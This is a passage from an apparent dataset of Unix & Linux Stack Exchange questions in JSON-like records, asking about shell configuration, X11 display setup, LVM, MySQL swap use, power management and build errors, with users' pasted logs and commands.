buffers when using NERDTree? Meaning how can I go from browsing the directory on the left to browsing the file on the right easily? Thanks."} {"_id": "45963", "title": "Unmanaged VPS bought today. Sendmail not functioning correctly", "text": "I purchased an unmanaged VPS today. I moved my website on over, and when I try to send an email. It returns a blank page. Not to mention I had to install PHP myself. Apache was there, for some reason, but PHP was installed using, \"`yum install php` - so...I don't know if I'm missing a package or what. I used, `yum install sendmail*` - but that didn't affect anything. Here is a pastebin of my code: Index.php http://pastebin.com/xxNdhUmC - Page with the form, stripped of unnecessary material. Send.php http://pastebin.com/NjP0xZn9 - Supposed to send the mail, but get's stuck and returns blank page. URL: www.jakeandersen.me"} {"_id": "17969", "title": "dual-head with NVidia Quadro FX3450/4000 on Centos 6.2", "text": "I am having troubles setting up dualhead with an NVidia Quadro FX3450/4000 card with Centos 6.2. The driver is installed from ELRepo. I set up twinview with nvidia-settings (and checked `/etc/X11/xorg.conf`). Both monitors are recognized and properly set up (desktop spans both of them, for instance), but **one of them always goes to powersave mode immediately**. Both LCD's are connected through DVI ports on the card and are functional (i.e. work with other computers, or when swapped). My `xorg.conf` says: Option \"TwinView\" \"1\" Option \"metamodes\" \"DFP-0: 1280x1024_60 +0+0, DFP-1: 1280x1024_60 1280+0;\" Here is a snippet from `Xorg.0.log`: (**) Aug 03 13:45:50 NVIDIA(0): ConnectedMonitor string: \"DFP-0, DFP-1\" ... (--) Aug 03 13:45:51 NVIDIA(0): Connected display device(s) on Quadro FX 3450/4000 SDI at (--) Aug 03 13:45:51 NVIDIA(0): PCI:1:0:0 (--) Aug 03 13:45:51 NVIDIA(0): DELL 1908FP (DFP-0) (--) Aug 03 13:45:51 NVIDIA(0): AOC LM929 (DFP-1) (--) Aug 03 13:45:51 NVIDIA(0): DELL 1908FP (DFP-0): 310.0 MHz maximum pixel clock (--) Aug 03 13:45:51 NVIDIA(0): DELL 1908FP (DFP-0): Internal Dual Link TMDS (--) Aug 03 13:45:51 NVIDIA(0): AOC LM929 (DFP-1): 155.0 MHz maximum pixel clock (--) Aug 03 13:45:51 NVIDIA(0): AOC LM929 (DFP-1): Internal Single Link TMDS (**) Aug 03 13:45:51 NVIDIA(0): TwinView enabled ... (II) Aug 03 13:45:51 NVIDIA(0): Virtual screen size determined to be 2560 x 1024 Any hints to troubleshoot that? I thought installing the nouveau driver would help (as it supports XRandr properly, and I would not miss 3D acceleration that much), but I cannot find it through `yum`. The system was installed by university staff and I am not sure which repository to enable to get nouveau."} {"_id": "17964", "title": "Add carriage return to output of `tail` while using `grep`", "text": "I'm looking to refactor the following command: tail -f production.log | grep -e \"Processing \" -e \"compatible;\" -e \"Completed in \" -e This is the output of the command: > Processing BasketController#cross_sell_product (for 85.189.237.x at > 2011-08-03 12:46:07) [POST] \"RequestLog\",\"2011-08-03 > 12:46:07\",\"12595\",\"www.website.com\",\"/basket/cross_sell_product/113\",\"85.189.237.x\",\"Mozilla/5.0 > (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\" Completed in > 0.07853 (12 reqs/sec) | Rendering: 0.01402 (17%) | DB: 0.01439 (18%) | 200 > OK [https://www.website.com/basket/cross_sell_product/113] This is great and exactly what I want however I'd like to see is a carridge return or two afterwards so I can study the logs as blocks. I tried to add `\\n` to the end however this didn't work."} {"_id": "17962", "title": "Bash: keybinding/trap issue", "text": "My .bashrc has the following: # Alt+L lists current directory bind -x \"\\\"\\el\\\":ls -ltrF --color=auto;\" # trap commands and echo them to xterm titlebar. trap 'echo -ne \"\\033]0;$BASH_COMMAND - $USER@${HOSTNAME}>$(pwd)\\007\"' DEBUG Demo of the problem: bash-4.2$ [Alt+L] #works total 0 -rw-rw-r-- 1 me 1234 0 Aug 3 07:11 foo -rw-rw-r-- 1 me 1234 0 Aug 3 07:11 bar bash-4.2$ ls -ltr #fails first time bash: -ltr: command not found bar foo bash-4.2$ ls -ltr #works second time total 0 -rw-rw-r-- 1 me 1234 0 Aug 3 07:11 foo -rw-rw-r-- 1 me 1234 0 Aug 3 07:11 bar As you can see, the `ls` command fails the first time after executing the key binding. I believe it has to do with the trap. Removing the trap fixes the issue. Is there any way to fix this without removing the trap?"} {"_id": "17963", "title": "Mysql / swap space full", "text": "I have MySQL Ver 14.12 Distrib 5.0.45 server running on Multiflex Intel Blade having 8G of RAM & 8 x Intel(R) Xeon(R) CPU E5410 @ 2.33GHz. The problems I am facing are: 1. For the last 3-4 days my 2G swap space is getting full & the server goes into hangged state and I need to reboot the server each time. Output of `free -m`: total used free shared buffers cached Mem: 7971 933 7037 0 0 800 -/+ buffers/cache: 132 7838 Swap: 1983 785 1198 2. I have added 2G more swap space but still problem exists. `/usr/local/mysql/bin/mysql -uroot -p -e \"show variables like '%cache%';\"`: +------------------------------+----------------------+ | Variable_name | Value | | binlog_cache_size | 32768 | | have_query_cache | YES | | key_cache_age_threshold | 300 | | key_cache_block_size | 1024 | | key_cache_division_limit | 100 | | max_binlog_cache_size | 18446744073709551615 | | ndb_cache_check_time | 0 | | query_cache_limit | 1048576 | | query_cache_min_res_unit | 4096 | | query_cache_size | 536870912 | | query_cache_type | ON | | query_cache_wlock_invalidate | OFF | | table_cache | 1024 | | thread_cache_size | 16 | Any suggestions?"} {"_id": "111008", "title": "Why is an application via 'ssh -X' slower than vncviewer via 'ssh -X'", "text": "Very simple question with strange effect: If I run a programm via x-forward it performs very bad when it comes to animations. E.g.: ssh -X @ \"application\" But if I start a remote vnc server and connect to it **remotly** via ssh, then the animations and all the other stuff runs much smoother. E.g.: DSPLY=1 && ssh -X @ \"vncserver :$DSPLY ; vncviewer localhost:$DSPLY\" In my opinion it is (more or less) the same amount of data which needs to be transmit via ssh. So why is there such a big difference in speed?"} {"_id": "92884", "title": "In emacs are any key sequences available for user macro bindings in all modes", "text": "I have recently started using `org mode` in emacs, but my macro bound in my initialisation file to `C-x C-k T` no longer works because this combination is used by `outline mode` which underpins `org mode`. I went by \"Learning Gnu Emacs\" by Debra Cameron et al. pub by O'Reilly, which states on page 160 that the sequences `C-x C-k` with 0-9 and A-Z are reserved for user macro bindings. This itself is contradicted, I have just noticed, on page 193, where, in `outline mode`, `C-c C-k` is bound to `Show -> Show branches`. So, please, are there any key sequences that are available still, and will be in all circumstances? I have left out the detail of my macro because it is irrelevant to this question. * * * I have left the original question as it is to explain my mistake. Thanks to @Gilles I realise that I made a silly mistake in confusing `C-c` with `C-x`. The problem manifested itself in that using `.org` mode seemed to redefine my key bindings. This I have now resolved by using `C-x ` instead of `C-c `. Macros bound to these still work in `.org mode` As to the question of what key sequence bindings are available, see: http://ergoemacs.org/emacs/emacs_set_keys_for_major_mode.html. This is part of an excellent and comprehensive set of articles on emacs by \"Xah\", available at: http://ergoemacs.org/emacs/emacs.html, and well worth the $15 he asks for them. This is almost an answer rather than an extension to my question. I have put it here to retain my acceptance of @Gilles earlier answer, and as it is too long for a comment"} {"_id": "151380", "title": "LVM2 Mirror Support Missing from Kernel after System Migration", "text": "I had a system that was running on a small netbook that had LVM2 set up to group two external USB hard drives into a volume group, and to use that volume group to create a mirrored logical volume. Then I wanted to migrate to a better machine, so I copied the disk image to a better laptop, and booted. All good so far. I can get LVM to recognize the two attached USB hard drives, and to recognize that they're LVM-enabled, and to recognize that they're part of the same volume group. I can export and import that volume group. However, when I try to enable it (`vgchange -ay vg_mirror`), I get the following error and output: > Can't process LV lv_mirror: mirror target support missing from kernel? > > 0 logical volume(s) in volume group \"vg_mirror\" now active I've tried uninstalling (both `apt-get uninstall` and `apt-get purge`) and reinstalling to no avail. I'm running a 686 kernel on an Intel Core i3, so I doubt that's the issue, although I can't figure out why switching machines would have borked any kernel drivers other than an instruction set or hardware incompatability. Any ideas?"} {"_id": "111000", "title": "Meaning of `export PATH=\u2026` in .bash_profile", "text": "I'm using a mac for some years now and as I'm currently learning ruby on rails, I felt like I should learn more about the system I'm using. I took a look at the `~/.bash_profile`, it looks like this PATH=\"/Users/nikolajandersen/.apportable/SDK/bin:$PATH\" [[ -s \"$HOME/.rvm/scripts/rvm\" ]] && source \"$HOME/.rvm/scripts/rvm\" # Load RVM$ # Setting PATH for Python 3.3 # The orginal version is saved in .bash_profile.pysave PATH=\"/Library/Frameworks/Python.framework/Versions/3.3/bin:${PATH}\" export PATH export PATH=/usr/local/bin:$PATH export PATH=/usr/local/bin:$PATH I'm completely new to this and tried to google my way though this but there are still some questions. The first one is: as there are two identical `export PATH=/usr/local/bin:$PATH` lines, I tried to delete the one. As a result, commands like nano and ls didn't work anymore. I reverted the change but I don't understand why it has to stated two times. Another question is: why does it sometimes $PATH and sometimes just PATH without the $? Why does `-s \"$HOME/.rvm/scripts/rvm\"` stand in [[ ]] braces? And what does `export PATH` do? Maybe someone could guide me to an easy to understand guide / tutorial / book where I could learn all this? **Update** This is the output of `echo $PATH` /usr/local/bin:/usr/local/bin:/Library/Frameworks/Python.framework/Versions/3.3/bin:/Users/nikolajandersen/.rvm/gems/ruby-2.0.0-p353/bin:/Users/nikolajandersen/.rvm/gems/ruby-2.0.0-p353@global/bin:/Users/nikolajandersen/.rvm/rubies/ruby-2.0.0-p353/bin:/Users/nikolajandersen/.rvm/bin:/Users/nikolajandersen/.apportable/SDK/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/opt/sm/bin:/opt/sm/pkg/active/bin:/opt/sm/pkg/active/sbin It seems like you were right with the newline. I deleted the line again and made sure that there is a blank line in the end. Now the commands are still working."} {"_id": "111007", "title": "how to send keyboard signal using a shell script", "text": "I have an application in graphical interface that when I run it, it's not opened in full screen mode, but when I use the keyboard shortcut `Alt`+`Ctrl`+`M` , it becomes fullscreen, I want to change the default behavior of the app to be opened in fullscreen mode. I want to write a shell script to send this shortcut keys when I open the application, can you help me?"} {"_id": "151381", "title": "How to get ids from xml file into mysql?", "text": "I've got 8 xml files and need to do some work on these records in mysql. What is a good way to get these IDs into mysql? M14723 ... I'm kind of thinking it will be some slick grepping into a text file that I can use to create insert statements into a new, simple table that only contains these xml ids. Unfortunately, I'm not that handy with the basic unix tools yet... thanks in advance"} {"_id": "66931", "title": "Split PDF into documents with several pages each", "text": "There are several resources on the web explaining how one can split a PDF into many files with on page per file. But how can you split them into chunks of, say, five pages each? I have looked into the standard tools such as `pdftk` but could not find an option doing what I want."} {"_id": "66930", "title": "How to create my own Linux distro (say from ubuntu source code)?", "text": "I wish to create my own Linux distribution (not editing linux kernel) from an existing OS like Ubuntu. To be specific, I wish to have my Linux distro from Ubuntu source code. I am planning to change the way the Ubuntu desktop looks. (E.g. I wish to pop up TimeTable when clicking the date in the desktop). How can I do that?"} {"_id": "114239", "title": "number parsing in awk", "text": "I have a text file with numbers in second column and the numbers have thousand-separator and decimal-separator: 2014-01 2,277.40 2014-02 2,282.20 2014-03 3,047.90 2014-04 4,127.60 2014-05 5,117.60 I need to sum the numbers, but the following `awk` syntax does not work: awk '{X=X+$2} END {print X}' file It returns `16`, which is obviously wrong. How can I tell `awk` to read the number as `2277.40` instead of `2,277.40`?"} {"_id": "114238", "title": "is it possibe to change parent shell's working directory programmatically?", "text": "I want to write some code to allow me switching to some directories that I usually go to. Say this program is `mycd`, and `/a/very/long/path/name` is the directory that I want to go to. So I can simply type `mycd 2` instead of `cd /a/very/long/path/name`. Here I assume `mycd` knows `2` refers to that `/a/very/long/path/name` . There might also be `mycd 1`, `mycd 3`, ... etc. The problem is I have to write `mycd` as a shell script and type `. mycd 2` to do the desired thing because otherwise the script just get executed in a child script which doesn't change anything about the parent shell that I actually care about. My question is: * can I do it without using `source`? because `. mycd` assumes `mycd` has to be a shell script and this might also introduce some functions that I don't want. * can I implement it in some other programming languages?"} {"_id": "126580", "title": "CentOS 6.5 will not sleep after period of inactivity", "text": "I've recently upgraded my `Ubuntu 12.04 LTS` to `CentOS 6.5`. This is a desktop PC (non-server) that I would like to sleep/power down after a period of inactivity. I have the following settings in my `Power Management` section, but these are not working the PC remains fully powered on no matter how long it sits idle. The sleep feature was working with `Ubuntu` am I missing a setting somewhere? ![enter image description here](http://i.stack.imgur.com/joNiG.png) [root@spaceship ~]# lshal |grep suspen org.freedesktop.Hal.Device.SystemPowerManagement.method_execpaths = 'hal- system-power-suspend', 'hal-system-power-suspend-hybrid', 'hal-system-power-hibernate', 'hal-system-power-shutdown', 'hal-system-power-reboot', hal-system-power-set-power-save'} (string list) power_management.can_suspend = true (bool) power_management.can_suspend_hybrid = false (bool) power_management.can_suspend_to_disk = true (bool) power_management.can_suspend_to_ram = true (bool) I've found the following commands do work to suspend, but the computer still will not suspend or hibernate with inactivity: To suspend to ram: echo mem > /sys/power/state To suspend to disk: echo disk > /sys/power/state"} {"_id": "66934", "title": "Why is aliasing over standard commands not recommended?", "text": "For example, a common alias I've seen in the `~/.bashrc` file (or equivalents) is alias rm='rm -i' However, I've seen people recommend against this because 1. the alias might not exist on another system and since you've become careless with `rm`, you inadvertently delete something important. [1] 2. by using this alias, you in effect train yourself to type `y` or `yes` after every `rm` command, which defeats the whole purpose. Are there other reasons to recommend against this? Might some programs simply make calls to `rm` instead of `\\rm`, and aliasing over it could cause problems for them? I use `rm` simply as an example, but I've seen other commands like `cp` or `mv` covered by aliases as well. Personally, I'm slowly training myself to use an alias like this in place of `rm -i`: alias trash=`mv -v -t $HOME/.Trash`"} {"_id": "110750", "title": "What is the difference between \"du -sh *\" and \"du -sh ./*\"?", "text": "The title says it all. What's the difference between those 2 commands? **NOTE:** I'm more interested in the `*` and `./*` part."} {"_id": "110752", "title": "Power USB port of MacBook Pro while sleeping", "text": "I installed Fedora 20 on my MacBook Pro. I'm also an iPhone user. While I can charge the iPhone using the USB port when working, once the computer falls asleep, the USB ports are powered off. This is not the case while running OS X. Any suggestions as to how to change this behavior?"} {"_id": "110754", "title": "How to fix kdenlive crashes on Ubuntu 13.10 during scene finding", "text": "I am new to the video editing software `kdenlive` and tried to use it to edit a large `avi`` file. I added the`avi`clip and started a job to find the scenes in this avi. Halfway through the clip (after 30 minutes or so),`kdenlive` suddenly crashed. How can I fix this problem? Additional information related to my questions will be given below once they are asked. As I have no idea whether the issue is related to Ubuntu, the desktop, kdenlive or the `avi` file, I cannot be more specific at this point. **Additional information** * Sometimes the program outputs the following: Unable to start Dr. Konqi But there seems to exist no package which might solve this problem."} {"_id": "114227", "title": "Weird behavior after upgrade", "text": "I upgraded my old computer and weird things have started happening. I successfully installed Debian and everything seemed to be fine but in a few days I noticed that after ~10 hours of work the display started showing different colors instead of the image ( I can share the video if it's of any interest). When I pressed the button to turn it off the normal console appeared and there was nothing wrong in logs after the reboot (Maybe I don't know where to look?) I connected the display via DVI (instead of VGA as It'd used to be) and instead of showing different colors the monitor started blinking randomly. During blinking and showing different colors other services usually (but not always) seemed to work fine (I'm using this computer as a hotspot 24/7). After the last episode I noticed this in /var/log/syslog Feb 8 19:57:36 STARSERVER kernel: [74245.109792] ata5.00: ACPI cmd f5/00:00:00:00:00:00 (SECURITY FREEZE LOCK) filtered out Feb 8 19:57:36 STARSERVER kernel: [74245.109793] ata5.00: ACPI cmd b1/c1:00:00:00:00:00 (DEVICE CONFIGURATION OVERLAY) filtered out Feb 8 19:57:36 STARSERVER kernel: [74245.122214] ata5.00: configured for PIO0 Feb 8 19:57:36 STARSERVER kernel: [74245.123513] ata5: EH complete ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@Feb 8 21:15:26 STARSERVER rsyslogd: [origin software=\"rsyslogd\" swVersion=\"7.4.4\" x-pid=\"2041\" x-info=\"http://www.rsyslog.com\"] start Feb 8 21:15:26 STARSERVER kernel: [ 0.000000] Initializing cgroup subsys cpuset Feb 8 21:15:26 STARSERVER kernel: [ 0.000000] Initializing cgroup subsys cpu Feb 8 21:15:26 STARSERVER kernel: [ 0.000000] Initializing cgroup subsys cpuacct I suppose that at 19:57 computer hung (I noticed that because Wi-Fi disappeared). When I turned the monitor on the computer didn't react on any actions. OS: Debian sid Configuration: B85m-D3H motherboard with i5-4570 on board."} {"_id": "57013", "title": "Zip all files in directory?", "text": "Is there a way to zip all files in a given directory with the `zip` command? I've heard of using `*.*`, but I want it to work for extensionless files, too."} {"_id": "147766", "title": "Big rsync -- push or pull?", "text": "I'm about to start a big `rsync` between two servers on my LAN. Is it better for me to **push** the files from one server to the other or **pull** them (backwards)? There is not anything that would make one work, and the other not work -- I am just wondering if there is a reason (maybe speed) to do one over the other. Can anyone give me a good reason, or is there no reason to do one over the other?"} {"_id": "49842", "title": "How does one include the session-name in status bar for byobu-tmux?", "text": "I'd like to include the session name of my current tmux session in the status bar. There's nothing in ~/.byobu/status that allows me to do this and including the tmux configuration directive `#S` in the `tmux_left` line doesn't work (for obvious reasons). Cheers."} {"_id": "144586", "title": "Swap partition in LVM?", "text": "I was wondering if putting the swap partition into a logical volume group has any drawbacks (e.g. performance), or would it be \"just the same\" as having it as a separate primary/logical partition? I like the fact that it could be easily resized if necessary, but am not sure about possible drawbacks. _Case of application_ : CentOS 7 Webserver."} {"_id": "150736", "title": "Why is this autogen.sh script failing?", "text": "I've downloaded this window manager from github and it has a `autogen.sh` script but it failed each time. I don't know what could happen or how to fix it: Output from `./autogen.sh`: /usr/bin/gnome-autogen.sh checking for autoreconf >= 2.53... testing autoreconf... found 2.69 checking for glib-gettext >= 2.2.0... testing glib-gettextize... found 2.40.0 checking for intltool >= 0.25... testing intltoolize... found 0.50.2 checking for pkg-config >= 0.14.0... testing pkg-config... found 0.26 checking for gnome-doc-utils >= 0.4.2... testing gnome-doc-prepare... found 0.20.10 checking for gnome-common >= 2.3.0... testing gnome-doc-common... found 3.10.0 Checking for required M4 macros... Checking for forbidden M4 macros... **Warning**: I am going to run `configure' with no arguments. If you wish to pass any to it, please specify them on the `./autogen.sh' command line. Processing ./configure.ac Running glib-gettextize... Ignore non-fatal messages. Copying file po/Makefile.in.in Please add the files codeset.m4 gettext.m4 glibc21.m4 iconv.m4 isc-posix.m4 lcmessage.m4 progtest.m4 from the /usr/share/aclocal directory to your autoconf macro directory or directly to your aclocal.m4 file. You will also need config.guess and config.sub, which you can get from ftp://ftp.gnu.org/pub/gnu/config/. Running gnome-doc-common... Running gnome-doc-prepare... You should update your 'aclocal.m4' by running aclocal. Running intltoolize... Running autoreconf... autoreconf: Entering directory `.' autoreconf: configure.ac: not using Gettext autoreconf: running: aclocal --force --warnings=no-portability autoreconf: configure.ac: tracing autoreconf: running: libtoolize --copy --force libtoolize: putting auxiliary files in `.'. libtoolize: copying file `./ltmain.sh' libtoolize: Consider adding `AC_CONFIG_MACRO_DIR([m4])' to configure.ac and libtoolize: rerunning libtoolize, to keep the correct libtool macros in-tree. libtoolize: Consider adding `-I m4' to ACLOCAL_AMFLAGS in Makefile.am. autoreconf: running: /usr/bin/autoconf --force --warnings=no-portability autoreconf: running: /usr/bin/autoheader --force --warnings=no-portability autoreconf: running: automake --add-missing --copy --force-missing --warnings=no-portability src/Makefile.am:205: error: HAVE_INTROSPECTION does not appear in AM_CONDITIONAL src/Makefile.am:8: warning: 'INCLUDES' is the old name for 'AM_CPPFLAGS' (or '*_CPPFLAGS') src/Makefile.am:33: warning: source file 'core/async-getprop.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled automake: warning: possible forward-incompatibility. automake: At least a source file is in a subdirectory, but the 'subdir-objects' automake: automake option hasn't been enabled. For now, the corresponding output automake: object file(s) will be placed in the top-level directory. However, automake: this behaviour will change in future Automake versions: they will automake: unconditionally cause object files to be placed in the same subdirectory automake: of the corresponding sources. automake: You are advised to start using 'subdir-objects' option throughout your automake: project, to avoid future incompatibilities. src/Makefile.am:33: warning: source file 'core/bell.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/boxes.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/cogl-utils.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/compositor.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-background-actor.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-module.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-plugin.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-plugin-manager.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-shadow-factory.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-shaped-texture.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-texture-rectangle.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-texture-tower.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-window-actor.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-window-group.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/meta-window-shape.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'compositor/region-utils.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/above-tab-keycode.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/constraints.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/core.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/delete.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/display.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/draw-workspace.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/edge-resistance.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/errors.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/eventqueue.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'core/frame.c' is in a subdirectory, src/Makefile.am:33: warning: source file 'ui/theme.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/ui.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:33: warning: source file 'ui/preview-widget.c' is in a subdirectory, src/Makefile.am:33: but option 'subdir-objects' is disabled src/Makefile.am:202: warning: source file 'core/muffin.c' is in a subdirectory, src/Makefile.am:202: but option 'subdir-objects' is disabled src/Makefile.am:197: warning: source file 'ui/theme-viewer.c' is in a subdirectory, src/Makefile.am:197: but option 'subdir-objects' is disabled src/Makefile.am:246: warning: source file 'core/testasyncgetprop.c' is in a subdirectory, src/Makefile.am:246: but option 'subdir-objects' is disabled 